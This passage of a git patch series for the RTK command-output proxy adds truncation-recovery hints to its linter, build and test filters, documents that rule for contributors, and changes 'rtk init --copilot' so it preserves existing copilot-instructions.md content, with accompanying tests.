all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "glab-issues", MAX_LIST + 1) { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered @@ -646,13 +651,28 @@ fn format_ci_list(json: &Value, ultra_compact: bool) -> String { let mut filtered = String::new(); filtered.push_str("Pipelines\n"); - for pipeline in pipelines.iter().take(10) { - let id = pipeline["id"].as_i64().unwrap_or(0); - let status = pipeline["status"].as_str().unwrap_or("???"); - let ref_name = pipeline["ref"].as_str().unwrap_or("???"); - - let icon = pipeline_icon(status, ultra_compact); - filtered.push_str(&format!(" {} #{} {} ({})\n", icon, id, status, ref_name)); + let all_lines: Vec = pipelines + .iter() + .map(|pipeline| { + let id = pipeline["id"].as_i64().unwrap_or(0); + let status = pipeline["status"].as_str().unwrap_or("???"); + let ref_name = pipeline["ref"].as_str().unwrap_or("???"); + let icon = pipeline_icon(status, ultra_compact); + format!(" {} #{} {} ({})", icon, id, status, ref_name) + }) + .collect(); + const MAX_CI_LIST: usize = 10; + for line in all_lines.iter().take(MAX_CI_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_CI_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_CI_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_text, "glab-pipelines", MAX_CI_LIST + 1) + { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered } diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index 965a7571b8..f70f20945a 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -587,12 +587,17 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.push_str(&format!("Go build: {} errors\n", errors.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, error) in errors.iter().take(20).enumerate() { + const MAX_GO_BUILD_ERRORS: usize = 20; + for (i, error) in errors.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(error, 120))); } - if errors.len() > 20 { - result.push_str(&format!("\n... +{} more errors\n", errors.len() - 20)); + if errors.len() > MAX_GO_BUILD_ERRORS { + result.push_str(&format!("\n… +{} more errors\n", errors.len() - MAX_GO_BUILD_ERRORS)); + let all_errors = errors.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_errors, "go-build", MAX_GO_BUILD_ERRORS + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -674,12 +679,17 @@ fn filter_go_vet(output: &str) -> String { result.push_str(&format!("Go vet: {} issues\n", issues.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, issue) in issues.iter().take(20).enumerate() { + const MAX_GO_VET_ISSUES: usize = 20; + for (i, issue) in issues.iter().take(MAX_GO_VET_ISSUES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(issue, 120))); } - if issues.len() > 20 { - result.push_str(&format!("\n... +{} more issues\n", issues.len() - 20)); + if issues.len() > MAX_GO_VET_ISSUES { + result.push_str(&format!("\n… +{} more issues\n", issues.len() - MAX_GO_VET_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_issues, "go-vet", MAX_GO_VET_ISSUES + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index 04ea8a5dbf..78e146f35f 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -282,8 +282,9 @@ fn filter_eslint_json(output: &str) -> String { } // Show top files with most issues, plus the top rules in each + const MAX_FILES: usize = 10; result.push_str("Top files:\n"); - for (file_result, count) in by_file.iter().take(10) { + for (file_result, count) in by_file.iter().take(MAX_FILES) { let short_path = compact_path(&file_result.file_path); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -300,8 +301,18 @@ fn filter_eslint_json(output: &str) -> String { } } - if by_file.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); + if by_file.len() > MAX_FILES { + result.push_str(&format!("\n… +{} more files\n", by_file.len() - MAX_FILES)); + let all_file_lines = by_file + .iter() + .map(|(r, count)| format!("{} ({} issues)", compact_path(&r.file_path), count)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_file_lines, "eslint-files", MAX_FILES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -397,8 +408,9 @@ fn filter_pylint_json(output: &str) -> String { } // Show top files + const MAX_FILES: usize = 10; result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -417,8 +429,18 @@ fn filter_pylint_json(output: &str) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_FILES { + result.push_str(&format!("\n… +{} more files\n", file_counts.len() - MAX_FILES)); + let all_file_lines = file_counts + .iter() + .map(|(file, count)| format!("{} ({} issues)", compact_path(file), count)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_file_lines, "pylint-files", MAX_FILES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -450,12 +472,19 @@ fn filter_generic_lint(output: &str) -> String { result.push_str(&format!("Lint: {} errors, {} warnings\n", errors, warnings)); result.push_str("═══════════════════════════════════════\n"); - for issue in issues.iter().take(20) { + const MAX_ISSUES: usize = 20; + for issue in issues.iter().take(MAX_ISSUES) { result.push_str(&format!("{}\n", truncate(issue, 100))); } - if issues.len() > 20 { - result.push_str(&format!("\n... +{} more issues\n", issues.len() - 20)); + if issues.len() > MAX_ISSUES { + result.push_str(&format!("\n… +{} more issues\n", issues.len() - MAX_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_issues, "lint-issues", MAX_ISSUES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index ce5f98444e..0add005557 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -310,11 +310,17 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { lines.push(format!(" {} {}", dep.name, dep.current_version)); } if cap && prod.len() > MAX_LISTING { - lines.push(format!( - " … +{} more — run `pnpm list --prod | tail -n +{}`", - prod.len() - MAX_LISTING, - MAX_LISTING + 3 - )); + lines.push(format!(" … +{} more", prod.len() - MAX_LISTING)); + let all_prod = prod + .iter() + .map(|dep| format!(" {} {}", dep.name, dep.current_version)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_prod, "pnpm-prod", MAX_LISTING + 1) + { + lines.push(format!(" {}", hint)); + } } } @@ -325,11 +331,17 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { lines.push(format!(" {} {}", dep.name, dep.current_version)); } if cap && dev.len() > MAX_LISTING { - lines.push(format!( - " … +{} more — run `pnpm list --dev | tail -n +{}`", - dev.len() - MAX_LISTING, - MAX_LISTING + 3 - )); + lines.push(format!(" … +{} more", dev.len() - MAX_LISTING)); + let all_dev = dev + .iter() + .map(|dep| format!(" {} {}", dep.name, dep.current_version)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_dev, "pnpm-dev", MAX_LISTING + 1) + { + lines.push(format!(" {}", hint)); + } } } @@ -628,13 +640,8 @@ mod tests { let prod_count = 60usize; assert!( out.contains(&format!("… +{} more", prod_count - MAX_LISTING)), - "truncation count missing" - ); - assert!( - out.contains(&format!("tail -n +{}", MAX_LISTING + 3)), - "tail offset missing: got\n{out}" + "truncation count missing: got\n{out}" ); - assert!(out.contains("pnpm list --prod"), "hint command missing"); } #[test] diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index cda1768f2a..0bd5e9aa61 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -272,6 +272,10 @@ fn build_pytest_summary( if failures.len() > 5 { result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); + let all_failures = failures.join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_failures, "pytest-failures") { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/ruby/rubocop_cmd.rs b/src/cmds/ruby/rubocop_cmd.rs index 5ad541ca76..bed3153f7f 100644 --- a/src/cmds/ruby/rubocop_cmd.rs +++ b/src/cmds/ruby/rubocop_cmd.rs @@ -184,7 +184,7 @@ fn filter_rubocop_json(output: &str) -> String { } if sorted_offenses.len() > max_offenses_per_file { result.push_str(&format!( - " ... +{} more\n", + " … +{} more\n", sorted_offenses.len() - max_offenses_per_file )); } @@ -192,9 +192,19 @@ fn filter_rubocop_json(output: &str) -> String { if files_with_offenses.len() > max_files { result.push_str(&format!( - "\n... +{} more files\n", + "\n… +{} more files\n", files_with_offenses.len() - max_files )); + let all_files = files_with_offenses + .iter() + .map(|f| compact_ruby_path(&f.path)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_files, "rubocop-files", max_files + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } if correctable_count > 0 { @@ -530,7 +540,7 @@ mod tests { let result = filter_rubocop_json(json); assert!(result.contains(":5 Cop/E"), "should show 5th offense"); assert!(!result.contains(":6 Cop/F"), "should not show 6th inline"); - assert!(result.contains("+2 more"), "should show overflow"); + assert!(result.contains("… +2 more"), "should show overflow"); } #[test] @@ -620,7 +630,7 @@ mod tests { ); let result = filter_rubocop_json(&json); assert!( - result.contains("+2 more files"), + result.contains("… +2 more files"), "should show +2 more files overflow: {}", result ); diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 04f3f6324e..f1e75f1729 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -536,7 +536,12 @@ fn filter_cargo_install(output: &str) -> String { } if errors.len() > 15 { - result.push_str(&format!("\n... +{} more issues\n", errors.len() - 15)); + result.push_str(&format!("\n… +{} more issues\n", errors.len() - 15)); + let all_errors = errors.join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_errors, "cargo-build-errors") + { + result.push_str(&format!(" {}\n", hint)); + } } return result.trim().to_string(); @@ -835,7 +840,15 @@ fn filter_cargo_build(output: &str) -> String { } } if blocks.len() > 15 { - result.push_str(&format!("\n... +{} more issues\n", blocks.len() - 15)); + result.push_str(&format!("\n… +{} more issues\n", blocks.len() - 15)); + let all_blocks: String = blocks + .iter() + .map(|b| b.join("\n")) + .collect::>() + .join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_blocks, "cargo-check-issues") { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() } @@ -1028,11 +1041,18 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { if !failures.is_empty() { result.push_str(&format!("FAILURES ({}):\n", failures.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, failure) in failures.iter().enumerate().take(10) { + const MAX_FAILURES: usize = 10; + for (i, failure) in failures.iter().enumerate().take(MAX_FAILURES) { result.push_str(&format!("{}. {}\n", i + 1, truncate(failure, 200))); } - if failures.len() > 10 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_FAILURES { + result.push_str(&format!("\n… +{} more failures\n", failures.len() - MAX_FAILURES)); + let all_failures = failures.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_failures, "cargo-test-failures", MAX_FAILURES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.push('\n'); } @@ -1189,7 +1209,17 @@ fn filter_cargo_clippy(output: &str) -> String { result.push('\n'); } if error_blocks.len() > 10 { - result.push_str(&format!(" ... +{} more errors\n", error_blocks.len() - 10)); + result.push_str(&format!(" … +{} more errors\n", error_blocks.len() - 10)); + let all_blocks: String = error_blocks + .iter() + .map(|b| b.join("\n")) + .collect::>() + .join("\n\n"); + if let Some(hint) = + crate::core::tee::force_tee_hint(&all_blocks, "cargo-clippy-errors") + { + result.push_str(&format!(" {}\n", hint)); + } } } @@ -1197,18 +1227,29 @@ fn filter_cargo_clippy(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); - for (rule, locations) in rule_counts.iter().take(15) { + const MAX_RULES: usize = 15; + for (rule, locations) in rule_counts.iter().take(MAX_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); for loc in locations.iter().take(3) { result.push_str(&format!(" {}\n", loc)); } if locations.len() > 3 { - result.push_str(&format!(" ... +{} more\n", locations.len() - 3)); + result.push_str(&format!(" … +{} more\n", locations.len() - 3)); } } - if by_rule.len() > 15 { - result.push_str(&format!("\n... +{} more rules\n", by_rule.len() - 15)); + if by_rule.len() > MAX_RULES { + result.push_str(&format!("\n… +{} more rules\n", by_rule.len() - MAX_RULES)); + let all_rules = rule_counts + .iter() + .map(|(rule, locs)| format!("{} ({}x)", rule, locs.len())) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_rules, "cargo-clippy-rules", MAX_RULES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/core/utils.rs b/src/core/utils.rs index a73eba9bcf..a3bc84fe00 100644 --- a/src/core/utils.rs +++ b/src/core/utils.rs @@ -147,7 +147,7 @@ pub fn format_cpt(cpt: f64) -> String { pub fn join_with_overflow(items: &[String], total: usize, max: usize, label: &str) -> String { let mut out = items.join("\n"); if total > max { - out.push_str(&format!("\n... +{} more {}", total - max, label)); + out.push_str(&format!("\n… +{} more {}", total - max, label)); } out } From 49606303d6738525c250149230752fb6133383d1 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sun, 17 May 2026 12:48:17 +0200 Subject: [PATCH 107/257] fix(rust): multi-line blocks used with tail hint --- src/cmds/rust/cargo_cmd.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index f1e75f1729..eee916d2a5 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -1047,9 +1047,9 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { } if failures.len() > MAX_FAILURES { result.push_str(&format!("\n… +{} more failures\n", failures.len() - MAX_FAILURES)); - let all_failures = failures.join("\n"); + let all_failures = failures.join("\n\n"); if let Some(hint) = - crate::core::tee::force_tee_tail_hint(&all_failures, "cargo-test-failures", MAX_FAILURES + 1) + crate::core::tee::force_tee_hint(&all_failures, "cargo-test-failures") { result.push_str(&format!(" {}\n", hint)); } From 4acdcf29f73400c67045a7e7c615a40c4193b69b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sun, 17 May 2026 14:18:06 +0200 Subject: [PATCH 108/257] docs(cmds): truncations hints and recovery guidelines --- CONTRIBUTING.md | 3 ++- src/cmds/README.md | 16 ++++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6cd87369b3..19c0c79aa5 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ Don't invent new output formats. Don't add RTK-specific headers or markers in th If a filter fails, fall back to raw output. RTK should never prevent a command from executing or producing output. Better to pass through unfiltered than to error out. Same for hooks: exit 0 on all error paths so the agent's command runs unmodified. -Every filter needs a fallback path. Every hook must handle malformed input gracefully. +Every filter needs a fallback path. Every hook must handle malformed input gracefully. Truncation follows the same rule: capping output at N items is only acceptable if accompanied by a hint that lets the agent recover the hidden data. ### Zero Overhead @@ -262,6 +262,7 @@ cargo fmt --all --check && cargo clippy --all-targets && cargo test - [ ] Unit tests added/updated for changed code - [ ] Snapshot tests reviewed (`cargo insta review`) - [ ] Token savings >=60% verified +- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) - [ ] Edge cases covered - [ ] `cargo fmt --all --check && cargo clippy --all-targets && cargo test` passes - [ ] Manual test: run `rtk ` and inspect output diff --git a/src/cmds/README.md b/src/cmds/README.md index 010e9495a0..c26da7da93 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -252,6 +252,21 @@ When filtering fails, fall back to raw output and warn on stderr. Never block th Modules that parse structured output (JSON, NDJSON, state machines) must call `tee::tee_and_hint()` so users can recover full output on failure. +### Internal Truncation Recovery + +When a filter caps a list at N items (e.g. `take(20)`), the remaining items must be accessible via a tee hint. **Never show `"… +N more"` without a recovery path** — the agent has no way to retrieve the hidden content. + +**Choosing the right hint:** + +| Content type | Function | Condition | +|---|---|---| +| Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | +| Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | + +**Always use a named constant for the cap.** Express the cap as `const MAX_XXX: usize = N;` local to the function, then derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from it. A bare literal like `21` silently breaks if someone changes `take(20)`. + +**The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. + ### Stderr Handling Modules must capture stderr and include it in the raw string passed to `timer.track()`, so token savings reflect total output. @@ -278,6 +293,7 @@ Adding a new filter or command requires changes in multiple places. For TOML-vs- - Use `RunOptions::default()` when filtering combined text output - Add `.tee("label")` when the filter parses structured output (enables raw output recovery on failure) - **Exit codes**: handled automatically by `run_filtered()` — just return its result + - **Truncation**: if the filter caps any list at N items, emit `force_tee_tail_hint` (flat lists) or `force_tee_hint` (multi-line blocks) so the agent can recover hidden items — see [Internal Truncation Recovery](#internal-truncation-recovery). Use a named constant for the cap; derive the offset from it (`MAX_XXX + 1`) 2. **Register module**: - Ecosystem `mod.rs` files use `automod::dir!()` — any `.rs` file in the directory becomes a public module automatically. No manual `pub mod` needed, but be aware: WIP or helper files will also be exposed. Only commit command-ready modules. - Add variant to `Commands` enum in `main.rs` with `#[arg(trailing_var_arg = true, allow_hyphen_values = true)]` From 224142867367adf00f7397615b73e3080dfc88b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:13:45 +0800 Subject: [PATCH 109/257] test(hooks/init): add red test for copilot-instructions preservation Adds a TDD red test that asserts pre-existing user content in .github/copilot-instructions.md must survive 'rtk init --copilot'. Currently fails because run_copilot() uses write_if_changed() which truncates the file. Refs #1964 --- src/hooks/init.rs | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 21da7c7485..bfd3fabd10 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5634,4 +5634,44 @@ mod tests { "RTK end marker must be removed" ); } + + #[test] + fn test_copilot_init_preserves_existing_instructions() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let user_content = "# My Copilot Instructions\n\n\ + Always respond in Spanish.\n\ + Never suggest npm; prefer pnpm.\n"; + fs::write(&instructions_path, user_content).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let result = run_copilot(InitContext::default()); + env::set_current_dir(&original_cwd).unwrap(); + result.unwrap(); + + let final_content = fs::read_to_string(&instructions_path).unwrap(); + + assert!( + final_content.contains("Always respond in Spanish."), + "User custom rule was destroyed. Got: {final_content}" + ); + assert!( + final_content.contains("Never suggest npm; prefer pnpm."), + "User custom rule was destroyed. Got: {final_content}" + ); + assert!( + final_content.contains(RTK_BLOCK_START), + "RTK block start marker missing" + ); + assert!( + final_content.contains(RTK_BLOCK_END), + "RTK block end marker missing" + ); + } } From d10816516b4c199b06af18278ab53c76d26c2d87 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:15:05 +0800 Subject: [PATCH 110/257] fix(hooks/init): preserve user content in copilot-instructions.md run_copilot() previously called write_if_changed() which truncated any pre-existing .github/copilot-instructions.md, destroying user-authored Copilot rules. This routes copilot-instructions.md through upsert_rtk_block() (the same idempotent marker-block helper already used for CLAUDE.md and AGENTS.md). The COPILOT_INSTRUCTIONS constant is wrapped in ... markers so subsequent inits replace only RTK-owned content; the rest of the file is preserved verbatim. Malformed pre-existing blocks (opening marker without closing) are refused with a remediation message rather than silently rewritten. Fixes #1964, #1891 --- src/hooks/init.rs | 86 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 78 insertions(+), 8 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index bfd3fabd10..1f95c80b6b 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3682,7 +3682,8 @@ const COPILOT_HOOK_JSON: &str = r#"{ } "#; -const COPILOT_INSTRUCTIONS: &str = r#"# RTK — Token-Optimized CLI +const COPILOT_INSTRUCTIONS: &str = r#" +# RTK — Token-Optimized CLI **rtk** is a CLI proxy that filters and compresses command outputs, saving 60-90% tokens. @@ -3707,8 +3708,82 @@ rtk gain --history # Per-command savings history rtk discover # Find missed rtk opportunities rtk proxy # Run raw (no filtering) but track usage ``` + "#; +/// Upsert the RTK marker block in `copilot-instructions.md`. +/// +/// Preserves user content outside the ` ... +/// ` markers; only RTK-owned content between the +/// markers is added/updated/left untouched depending on prior state. +/// Refuses to modify malformed files (opening marker without closing). +fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; + + let existing = if path.exists() { + fs::read_to_string(path) + .with_context(|| format!("Failed to read {}", path.display()))? + } else { + String::new() + }; + + let (new_content, action) = upsert_rtk_block(&existing, COPILOT_INSTRUCTIONS); + + match action { + RtkBlockUpsert::Added => { + if dry_run { + println!( + "[dry-run] would add Copilot instructions to {}", + path.display() + ); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + if verbose > 0 { + eprintln!("Added Copilot instructions to {}", path.display()); + } + } + } + RtkBlockUpsert::Updated => { + if dry_run { + println!( + "[dry-run] would update Copilot instructions in {}", + path.display() + ); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + if verbose > 0 { + eprintln!("Updated Copilot instructions in {}", path.display()); + } + } + } + RtkBlockUpsert::Unchanged => { + if verbose > 0 { + eprintln!( + "Copilot instructions already up to date: {}", + path.display() + ); + } + } + RtkBlockUpsert::Malformed => { + eprintln!( + "[warn] Found '{}' without closing marker in {}", + RTK_BLOCK_START, + path.display() + ); + eprintln!(" Action: Manually remove the incomplete block, then re-run:"); + eprintln!(" rtk init --copilot"); + anyhow::bail!( + "Refusing to modify malformed copilot-instructions.md at {}", + path.display() + ); + } + } + + Ok(()) +} + /// Entry point for `rtk init --copilot` pub fn run_copilot(ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; @@ -3724,14 +3799,9 @@ pub fn run_copilot(ctx: InitContext) -> Result<()> { let hook_path = hooks_dir.join("rtk-rewrite.json"); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; - // 2. Write instructions + // 2. Upsert RTK marker block in copilot-instructions.md (preserves user content) let instructions_path = github_dir.join("copilot-instructions.md"); - write_if_changed( - &instructions_path, - COPILOT_INSTRUCTIONS, - "Copilot instructions", - ctx, - )?; + upsert_copilot_instructions(&instructions_path, ctx)?; if dry_run { print_dry_run_footer(); From 544a5f446bac2b81311ad3e28940d291ef7c7ce0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:15:51 +0800 Subject: [PATCH 111/257] test(hooks/init): cover idempotency, stale-block, dry-run, fresh, malformed paths Adds five additional tests around copilot-instructions.md upsert: - idempotent re-init (no duplicated blocks, identical content) - stale RTK block in-place update with surrounding user content preserved - dry-run never creates or modifies the file - fresh install creates file with RTK marker block when no file exists - malformed pre-existing block (opening marker without closing) is refused with a clear error rather than silently rewritten Refs #1964 --- src/hooks/init.rs | 148 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 148 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 1f95c80b6b..8c1b128628 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5744,4 +5744,152 @@ mod tests { "RTK block end marker missing" ); } + + #[test] + fn test_copilot_init_idempotent_repeats() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + let after_first = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); + + run_copilot(InitContext::default()).unwrap(); + let after_second = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert_eq!( + after_first, after_second, + "Second init must be a no-op (idempotent)" + ); + + let count_start = after_first.matches(RTK_BLOCK_START).count(); + let count_end = after_first.matches(RTK_BLOCK_END).count(); + assert_eq!( + count_start, 1, + "RTK_BLOCK_START must appear once, got {count_start}" + ); + assert_eq!( + count_end, 1, + "RTK_BLOCK_END must appear once, got {count_end}" + ); + } + + #[test] + fn test_copilot_init_updates_stale_block() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let stale = format!( + "# Project rules\n\nUse rg.\n\n{}\n# OLD RTK CONTENT\nrtk foo\n{}\n", + RTK_BLOCK_START, RTK_BLOCK_END + ); + fs::write(&instructions_path, &stale).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + let updated = fs::read_to_string(&instructions_path).unwrap(); + + assert!( + updated.contains("Use rg."), + "User content outside the block must be preserved" + ); + assert!( + !updated.contains("# OLD RTK CONTENT"), + "Stale RTK block content must be removed" + ); + assert!( + updated.contains("rtk cargo test"), + "Fresh COPILOT_INSTRUCTIONS content must be present" + ); + } + + #[test] + fn test_copilot_init_dry_run_no_write() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + assert!(!instructions_path.exists()); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let ctx = InitContext { + dry_run: true, + ..InitContext::default() + }; + run_copilot(ctx).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + !instructions_path.exists(), + "Dry-run must not create copilot-instructions.md" + ); + } + + #[test] + fn test_copilot_init_fresh_install_creates_file() { + use std::env; + + let temp = TempDir::new().unwrap(); + let instructions_path = temp + .path() + .join(".github") + .join("copilot-instructions.md"); + assert!(!instructions_path.exists()); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + instructions_path.exists(), + "Fresh install must create copilot-instructions.md" + ); + let content = fs::read_to_string(&instructions_path).unwrap(); + assert!(content.contains(RTK_BLOCK_START)); + assert!(content.contains(RTK_BLOCK_END)); + assert!(content.contains("rtk cargo test")); + } + + #[test] + fn test_copilot_init_refuses_malformed_block() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); + fs::write(&instructions_path, &malformed).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let result = run_copilot(InitContext::default()); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + result.is_err(), + "Malformed file must cause an error, not silent rewrite" + ); + + let after = fs::read_to_string(&instructions_path).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + } } From 194a1b42159fc6d17ba7768fa0361a54edb7b133 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:18:52 +0800 Subject: [PATCH 112/257] refactor(hooks/init): extract run_copilot_at for parallel-safe tests run_copilot(ctx) is now a thin wrapper around run_copilot_at(base, ctx); tests pass a TempDir path so they no longer mutate process-global cwd. This eliminates flakes when cargo test runs in parallel (the default). The public API is unchanged; only the internal seam moves. Refs 